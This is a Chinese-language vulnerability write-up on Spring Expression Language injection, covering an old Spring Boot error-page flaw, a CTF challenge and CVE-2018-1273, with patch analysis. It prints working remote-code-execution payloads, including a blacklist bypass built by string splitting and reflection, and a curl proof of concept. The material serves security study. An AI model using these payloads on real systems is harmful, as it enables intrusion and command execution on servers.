内容简介:Spring Expression Language(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图。语言语法类似于Unified EL,但提供了额外的功能,特别是方法调用和基本的字符串模板功能。同时因为SpEL是以API接口的形式创建的,所以允许将其集成到其他应用程序和框架中。个人理解就是Spring框架中的一种语言表达式,类似于Struts2中的OGNL的东西。一个最基础的触发例子
Spring Expression Language(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图。语言语法类似于Unified EL,但提供了额外的功能,特别是方法调用和基本的字符串模板功能。同时因为SpEL是以API接口的形式创建的,所以允许将其集成到其他应用程序和框架中。
个人理解就是Spring框架中的一种语言表达式,类似于Struts2中的OGNL的东西。
一个最基础的触发例子
@RequestMapping("/spel") @ResponseBody public String spel(String input){ SpelExpressionParser parser = new SpelExpressionParser(); Expression expression = parser.parseExpression(input); return expression.getValue().toString(); }
直接将用户的输入当作表达式内容进行解析。
输入一个简单的乘法运算 2*2
,可以看到返回的值是经过解析后的 4
执行下系统命令
/spel?input=new java.lang.ProcessBuilder("calc").start()
Spring Boot SPEL表达式注入
算是一个比较早期的漏洞,影响的版本有
- 1.1.0-1.1.12
- 1.2.0-1.2.7
- 1.3.0
这里测试使用的是 1.2.0
的版本
<version>1.2.0.RELEASE</version>
漏洞触发的条件是在错误页面中输出用户可控的值,如下是一个简单的demo
@RequestMapping("/") public String index(String payload){ throw new IllegalStateException(payload); }
直接将用户的输入抛出了个异常,访问之后就是一个Spring Boot熟悉的错误页面
并可以看到将 payload
的值输出到了页面中,但输入一个SPEL表达式 ${xxx}
时,却会返回解析之后的值
漏洞分析
找到生成错误页面的代码断
spring-boot-autoconfigure-1.2.0.RELEASE.jar!/org/springframework/boot/autoconfigure/web/ErrorMvcAutoConfiguration.class:101
在SpelView的render方法中打下断点
可以看到是在 this.helper.replacePlaceholders(this.template, this.resolver)
中生成了错误页面,然后返回给result
template
就是错误页面的模板,其中也包含着几个SPEL表达式变量
<html><body><h1>Whitelabel Error Page</h1><p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p><div id='created'>${timestamp}</div><div>There was an unexpected error (type=${error}, status=${status}).</div><div>${message}</div></body></html>
在变量 map
里已经获取到了这几个变量的值
跟进 replacePlaceholders
函数之后可以来到 PropertyPlaceholderHelper.class:59
while循环中循环解析 ${xxx}
的表达式,例如第一个解析到 ${timestamp}
,取出中间的值,然后通过
String propVal = placeholderResolver.resolvePlaceholder(placeholder);
跟进去看一下具体的处理方法
可以看到这里将表达式中间的值带入了SPEL表达式进行解析,然后返回了对应的值(返回前还进行了一次html编码,防止XSS
让我们来跟一下处理 ${message}
时的处理方式
可以看到在取到 ${message}
的值 propVal
之后,由于其不等于null,于是又递归进行了一次 parseStringValue
由于此时的 propVal
值为 ${2*2}
就会和之前的解析表达式流程一样再进行一次SPEL表达式解析。
可以看到此时将 ${2*2}
解析成了4,然后返回在了页面中,从而触发了漏洞。
由于这里SPEL返回值时进行了一次html编码,所以导致取出的 ${message}
值时会进行一次转义,因此之前的payload
${new java.lang.ProcessBuilder("calc").start()}
需要进行一些小小的改动
${new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()}
漏洞补丁
https://github.com/spring-projects/spring-boot/commit/edb16a13ee33e62b046730a47843cb5dc92054e6
新增了一个 NonRecursivePropertyPlaceholderHelper
类用以防止递归
测试环境为1.3.1
可以看到 SpelView
中的 helper
变成了 NonRecursivePropertyPlaceholderHelper
private final NonRecursivePropertyPlaceholderHelper helper = new NonRecursivePropertyPlaceholderHelper("${", "}");
当第一次解析的时候,可以看到
此时 placeholderResolver
的 resolver
是一个 ExpressionResolver
类型
但是当递归解析时
就被嵌套了一层,从而变成了 NonRecursivePropertyPlaceholderResolver
然后再每次解析表达式前,也增加了个判断
public String resolvePlaceholder(String placeholderName) { return this.resolver instanceof NonRecursivePropertyPlaceholderHelper.NonRecursivePlaceholderResolver ? null : this.resolver.resolvePlaceholder(placeholderName); }
如果是 NonRecursivePlaceholderResolver
类型就直接返回null,从而停止递归解析。
Code-Breaking javacon
上学期p神的一道代码审计题,由于根本不会 java 那时候就空着了。如今回过头来发现也是一道SPEL注入题,感觉难度其实比其他 PHP 的要简单不少,但是耐不住Java的入门门槛稍高。
题目逻辑就不梳理了,看一下代码应该就能看懂,直接来看存在漏洞的部分。
@GetMapping public String admin(@CookieValue(value = "remember-me", required = false) String rememberMeValue, HttpSession session, Model model) { if (rememberMeValue != null && !rememberMeValue.equals("")) { String username = userConfig.decryptRememberMe(rememberMeValue); if (username != null) { session.setAttribute("username", username); } } Object username = session.getAttribute("username"); if(username == null || username.toString().equals("")) { return "redirect:/login"; } model.addAttribute("name", getAdvanceValue(username.toString())); return "hello"; }
重点在 getAdvanceValue(username.toString())
中
private String getAdvanceValue(String val) { for (String keyword: keyworkProperties.getBlacklist()) { Matcher matcher = Pattern.compile(keyword, Pattern.DOTALL | Pattern.CASE_INSENSITIVE).matcher(val); if (matcher.find()) { throw new HttpClientErrorException(HttpStatus.FORBIDDEN); } } ParserContext parserContext = new TemplateParserContext(); Expression exp = parser.parseExpression(val, parserContext); SmallEvaluationContext evaluationContext = new SmallEvaluationContext(); return exp.getValue(evaluationContext).toString(); }
可以看到这里进行了明显的SPEL表达式的解析。但是在解析之前会进行黑名单的校验
keywords: blacklist: - java.+lang - Runtime - exec.*\(
在控制器中可以看到,其实表达式的值 username
是可以通过Cookie中的 remember-me
来控制的,但是经过了一点加密。
但由于是白盒,这层加密也可以直接看到加密算法。这样我们就可以控制SPEL中传入的值了
提一句,一开始我以为页面中返回的值是 model.addAttribute
中的 name
,后来看了下html页面中发现只是打印了 ${session.username}
这里为了方便调试,将 name
的值也打印了出来
> <article> > <h2 th:text="'Hello, ' + ${session.username}"></h2> > <p>This is admin panel.</p> > <p th:text="'name: ' + ${name}"></p> > </article> >
加密的算法也在 Encryptor.java
中,我们可以通过这个来生成对应的密文
public static void main(String[] args){ String rememberMeKey = "c0dehack1nghere1"; String encryptd = Encryptor.encrypt(rememberMeKey, "0123456789abcdef", "#{2*2}"); System.out.println(encryptd); }
可以看到 name
的值确实就是传入的SPEL表达式解析之后的值
说一个自己遇到的小疑惑,之前Springboot的例子中SPEL表达式的标识符是 ${}
这个可以从代码中看到是匹配了, ${
和 }
标识的,那为什么这里的标识符是 #{}
我们可以来到解析SPEL表达式的地方,发现这里其实是多了一些东西的。
> ParserContext parserContext = new TemplateParserContext(); > Expression exp = parser.parseExpression(val, parserContext); >
这里在解析表达式的时候传入了第二个参数 parseContext
,这是个 ParserContext
类的参数,里面就定义了SPEL表达式的标识符。这也就是这里标识符用 #{}
的原因了
继续回到题解上,由于有黑名单的限制,所以之前命令执行的payload传入时会被检测到,这里来看下别的师傅的payload。
#{''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',''.getClass()).invoke(''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(null),'calc')}
好吧,是有点长,看起来有点晕。从 getClass
、 forName
、 getMethod
、 invoke
这些函数可以看出是用了反射的机制。
我们可以一步一步来分析下这个payload
''.getClass() // class java.lang.String ''.getClass().forName('java.la'+'ng.Ru'+'ntime') // class java.lang.Runtime ''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',''.getClass()) // public java.lang.Process java.lang.Runtime.exec(java.lang.String) throws java.io.IOException ''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime') // public static java.lang.Runtime java.lang.Runtime.getRuntime() ''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(null) // java.lang.Runtime@c2939a ''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',''.getClass()).invoke(''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(null),'calc') // java.lang.ProcessImpl@f2f85c
可以看到,其实整个payload就是在凑 invoke
需要的参数,通过 forName
和 getMethod
来获取 Runtime.exec
的函数和类。
这样就可以将 java.lang.Runtime
和 .exec
用字符串拼接的方式进行黑名单的绕过。最后命令执行。
这里就弹个计算器以表尊敬
CVE-2018-1273: RCE with Spring Data Commons
漏洞环境参考的 https://github.com/wearearima/poc-cve-2018-1273
漏洞POC为
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe')]=123"
漏洞分析
漏洞触发点为 spring-data-commons-1.13.10.RELEASE-sources.jar!/org/springframework/data/web/MapDataBinder.java:158
可以看到是一个很明显的SPEL表达式的注入。
查看调用栈可以发现,此处应该是一个 Data Commons
自动化绑定传入参数的操作。
@Override protected Object createAttribute(String attributeName, MethodParameter parameter, WebDataBinderFactory binderFactory, NativeWebRequest request) throws Exception { MapDataBinder binder = new MapDataBinder(parameter.getParameterType(), conversionService.getObject()); binder.bind(new MutablePropertyValues(request.getParameterMap())); return proxyFactory.createProjection(parameter.getParameterType(), binder.getTarget()); }
可以看到最后将传入的参数进行了绑定。之前触发漏洞的地方 setPropertyValue
就是在设置参数的值。
把传入参数的key值取出然后进行了SPEL表达式的解析。
从而触发了漏洞。
漏洞修复
可以看到将之前的 StandardEvaluationContext
替换成了 SimpleEvaluationContext
SimpleEvaluationContext
对于权限的限制更为严格,能够进行的操作更少。只支持一些简单的Map结构。
再次执行POC时可以看到,虽然参数还是传入了 context
中,但是执行 setValue
的时候会抛出异常,从而无法进行攻击。
References
- https://wsygoogol.github.io/2016/07/15/Spring-Boot%E6%A1%86%E6%9E%B6SPEL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/
- https://www.cnblogs.com/litlife/archive/2018/12/27/10183137.html
- https://github.com/spring-projects/spring-boot/commit/edb16a13ee33e62b046730a47843cb5dc92054e6
- https://blog.csdn.net/fnmsd/article/details/84556522
- http://blog.nsfocus.net/cve-2018-1273-analysis/
- https://www.melodia.pw/?p=959
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 由浅入深SpEL表达式注入漏洞
- 深入 Spring Boot:那些注入不了的 Spring 占位符(${}表达式)
- 正则表达式 – 如何使用正则表达式进行Erlang模式匹配?
- lambda表达式
- 表达式 / 语句
- Python正则表达式
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。